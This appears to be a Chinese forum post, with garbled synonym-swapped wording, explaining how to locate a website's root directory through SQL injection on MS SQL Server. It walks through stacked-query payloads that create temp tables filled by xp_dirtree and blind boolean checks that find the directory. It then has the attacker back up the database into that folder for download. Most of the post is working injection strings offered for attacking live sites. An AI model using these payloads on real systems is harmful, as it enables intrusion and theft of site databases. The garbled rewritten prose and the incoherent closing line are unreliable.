|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。web|技能 本文章针对以下情况,假如不合适以下的前提,就不合适用上面提到的办法来取得WEB根目次。
1、SQL SERVER答应履行多行语句;
2、该网站能停止注入;
3、没有前往具体的毛病提醒信息(不然没有需要用这类办法)。
依据经历,怀疑WEB根目次的按次是:d盘、e盘、c盘,起首咱们创立一个一时表用于寄存master..xp_dirtree(合适于public)生成的目次树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段暗示目次的称号,depth字段暗示目次的深度。然后履行xp_dirtree取得D盘的目次树,语句以下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在停止上面的操作前,先检查D盘有几个文件夹,如许对D盘有个大致的懂得,语句以下:
and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)
接着,咱们在对方的网站上找几个一级子目次,如user、photo,然后,用挑选的办法来判别WEB根目次上是不是存在此盘上,语句以下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看语句的前往了局,假如为真,暗示WEB根目次有能够在此盘上,为了进一步确认,多测试几个子目次:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
假如一切的测试了局都为真,暗示WEB根目次很有能够在此盘上。
上面假定找到的WEB根目次在此盘上,用以下的语句来取得一级子目次的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)
假定失掉的depth是3,申明user目次是D盘的3级目次,则WEB根目次是D盘的二级目次。
今朝咱们已晓得了根目次地点的盘符和深度,要找到根目次的详细地位,咱们来从D盘根目次入手下手一一搜索,固然,没有需要晓得每一个目次的称号,不然太消耗工夫了。
接上去,别的创立一个一时表,用来寄存D盘的1级子目次下的一切目次,语句以下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把从D盘的第一个子目次下的一切目次存到temp1中,语句以下:
declare @dirname varchar(255);set @dirname='
d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS',
'CAConfig','wmpub',
'Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname
固然也能够把D盘的第二个子目次下的一切目次存到temp1中,只需把第二个top 1改成top 2就好了。
如今,temp1中已保留了一切D盘第一级子目次下的一切目次,然后,咱们用一样的办法来判别根目次是不是在此一级子目次下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1) 假如前往为真,暗示根目次能够在此子目次下,记住要多测试几个例子,假如都前往为假,则标明WEB根目次不在此目次下,然后咱们在用一样的办法来取得D盘第2、3...个子目次下的一切目次列表,来判别WEB根目次是不是在其下。然而,要注重,用xp_dirtree前必定要把temp1表中的内容删除。
如今假定,WEB根目次在D盘的第一级子目次下,该子目次称号为website,如何取得这个目次的称号我想不必我说了吧。由于后面咱们晓得了WEB根目次的深度为2,咱们需求晓得website下究竟哪一个才是真实的WEB根目次。
如今,咱们用一样的办法,再创立第3个一时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把从D盘的website下的一切目次存到temp2中,语句以下:
declare @dirname varchar(255);set @dirname='d:\website\'
+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS','CAConfig',
'wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp2 exec master.dbo.xp_dirtree @dirname
固然也能够把D盘的website下第二个子目次下的一切目次存到temp2中,只需把第二个top 1改成top 2就好了。
如今,咱们用一样的办法判别该目次是不是为根目次:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
假如前往为真,为了肯定咱们的判别,多测试几个例子,办法下面都讲到了,假如多个例子都前往为真,那末就肯定了该目次为WEB根目次。
用以上的办法根基上可以取得WEB根目次,如今咱们假定WEB根目次是:D:\website\www
然后,咱们就能够备份以后数据库到这个目次下用来下载。备份前咱们把temp、temp1、temp2的内容清空,然后C、D、E盘的目次树分离存到temp、temp1、temp2中。
下载完数据库后要记得把三个一时表DROP失落,如今咱们鄙人载的数据库中可以找到一切的目次列表,包含后台办理的目次和更多信息。
缺点:安全性不是太差了,还行,只要你充分利用系统自带的工具;唯一缺点就是执行效率慢,如何进行网站优化以后,效果会比较好。 |
|